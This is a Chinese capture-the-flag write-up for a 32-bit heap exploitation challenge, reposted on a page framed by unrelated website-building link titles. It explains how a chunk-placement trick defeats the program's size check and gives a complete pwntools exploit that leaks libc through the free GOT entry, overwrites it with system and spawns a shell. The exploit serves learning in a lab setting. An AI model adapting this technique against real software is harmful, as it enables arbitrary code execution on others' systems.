当前位置: 首页 > news >正文

网站如何建数据库如何利用网站做产品推广

网站如何建数据库,如何利用网站做产品推广,域名网站平台,dw手机网页制作又是一道堆题,先看保护 关键信息是32位,没开pie 直接看ida 大致是alloc创建堆块,free释放堆块,show查看堆块内容,fill填充堆块内容 其他的都没啥关键的要讲,但alloc那里非常需要解析一下 解释如上图 再具…

又是一道堆题,先看保护

关键信息是32位,没开pie

直接看ida

大致是alloc创建堆块,free释放堆块,show查看堆块内容,fill填充堆块内容

其他的都没啥关键的要讲,但alloc那里非常需要解析一下

解释如上图

再具体一点就是 我们输入的字节大小+堆块地址>=相邻0x80堆块的地址时会被强制退出

必须要 我们输入的字节大小+堆块地址<相邻0x80堆块的地址

那就意味这即便你填充到极限大小,即使下面有加1,你也没法修改相邻堆块的堆头size

解题思路:

上面我们提到程序限制输入字节大小的手段,但是这个判断条件很特殊,必须要是相邻的堆块才能这么判断,但当我们先创建任意大小的两个堆块,再free掉堆块0,再申请一个0x80大小的堆块,这时候我们申请的0x80大小的堆块就会申请到原来相邻的程序自动创建的0x80大小的堆块。可这时系统申请的堆块就没法与我们创建的0x80大小的堆块相邻了,因为这时我们申请的堆块相邻已经有堆块了,所以他就会往下找空间去存放程序创建的0x80堆块了。

而这时,我们可以填充的字节大小就会变大很多,足以覆盖下一个我们自己申请的堆块的相邻程序自动创建堆块里存放的堆块指针

有点绕,简单点来说就是覆盖堆块1的指针,把他改为free的got地址,这样打印free的got地址与替换free的got表里的内容为system就可以一步到位了

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./fs')
#p=remote('node5.buuoj.cn',29284)
free_got=0x804B010def alloc(description,size,context):p.sendlineafter(b'Action:',str(0))p.sendlineafter(b'size of description:',str(description))p.sendlineafter(b'name:',b'aa')p.sendlineafter(b'text length:',str(size))p.sendlineafter(b'text:',context)
def free(index):p.sendlineafter(b'Action:',str(1))p.sendlineafter(b'index',str(index))
def show(index):p.sendlineafter(b'Action:',str(2))p.sendlineafter(b'index',str(index))
def fill(index,size,context):p.sendlineafter(b'Action:',str(3))p.sendlineafter(b'index',str(index))p.sendlineafter(b'text length:',str(size))p.sendlineafter(b'text:',context)alloc(0x8,0x8,b'bb') #这仨堆块大小没太大限制,当然越少越好计算就行
alloc(0x10,0x8,b'bb') #这里填入的两个字节大小有点绕,其实他后一个大小是用到了填充堆块的那个函数
alloc(0x10,0x8,b'/bin/sh\x00')
free(0)
payload=p32(0)*33+p32(0x19)+p32(0)*5+p32(0x89)+p32(free_got) #注意这里不要破坏已有的堆块结构
alloc(0x80,len(payload),payload) #这里要是0x80大小
print(len(payload))
show(1)
free_addr=u32(p.recvuntil(b'\xf7')[-4:])
print(free_addr)
libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system=libcbase+libc.dump('system')
payload=p32(system) #因为堆块1的指针被替换成free_got所以编辑堆块1就是修改free的got表里的内容
fill(1,len(payload),payload)
free(2) #相当于运行system('/bin/sh')
p.interactive()

补充点1:创建堆块alloc那里刚开始看可能有点绕,解释一下,就是name是啥不重要,前一个大小其实就是我们要申请的堆块大小,后面那一个大小是我们要填充堆块的内容的大小,那个b'bb'就是我们要填充堆块内容的地方

http://www.yayakq.cn/news/259926/

相关文章:

  • 网站软件下载大全最大的开源网站
  • 山东手机版建站系统哪家好模板建站常规流程
  • 岳阳做网站公司赫山区网站建设
  • 做网站哪个系统最好wordpress 纪念爱情
  • 网站欣赏网站建设基本流程教学视频教程
  • 可以做视频的网站网址你会感谢我的
  • 搭建网站seo集团网站设计公司
  • 可以做pos机的网站电气行业网站建设多少钱
  • 网站制作怎样做背景艺术字体在线生成器英文
  • 大气医院网站源码优化算法分类
  • 上海建站网络规划设计师书籍
  • 看公狍和女人做爰网站移动网站建设可信赖
  • 网站项目设计书自己怎么做百度网站
  • 新闻热点事件2020 最新网站seo入门基础教程书籍
  • 紧固件做网站有效果吗义乌网站制作
  • 网站改版的方式大致有wordpress d8主题 4.1
  • 怎么把源码做网站wordpress评论头像添加alt
  • 什么是网站规划计算机网络技术就业方向网站开发
  • 织梦网站栏目对应首页顺电网上商城app
  • 网站前面的logo标志网站推广途径和推广要点有哪些?
  • 哪个网站内链建设好石柱网站制作
  • 怎么用php做网站方案那些网站h5做的不错
  • 网站广告投放收费标准wordpress文章详情模版替换
  • 不同类型的网站我要自学网python
  • 计算机网络 网站开发与设计模板网站建设流程
  • 网站备案 资讯门窗厂家东莞网站建设
  • 企业网站建设规范上海小程序开发设计
  • 深圳贷款网站建设嘉兴网站排名
  • 在建设银行网站申请完信用卡西宁制作网站需要多少钱
  • 百度网站登录设计素材网站排行榜前十名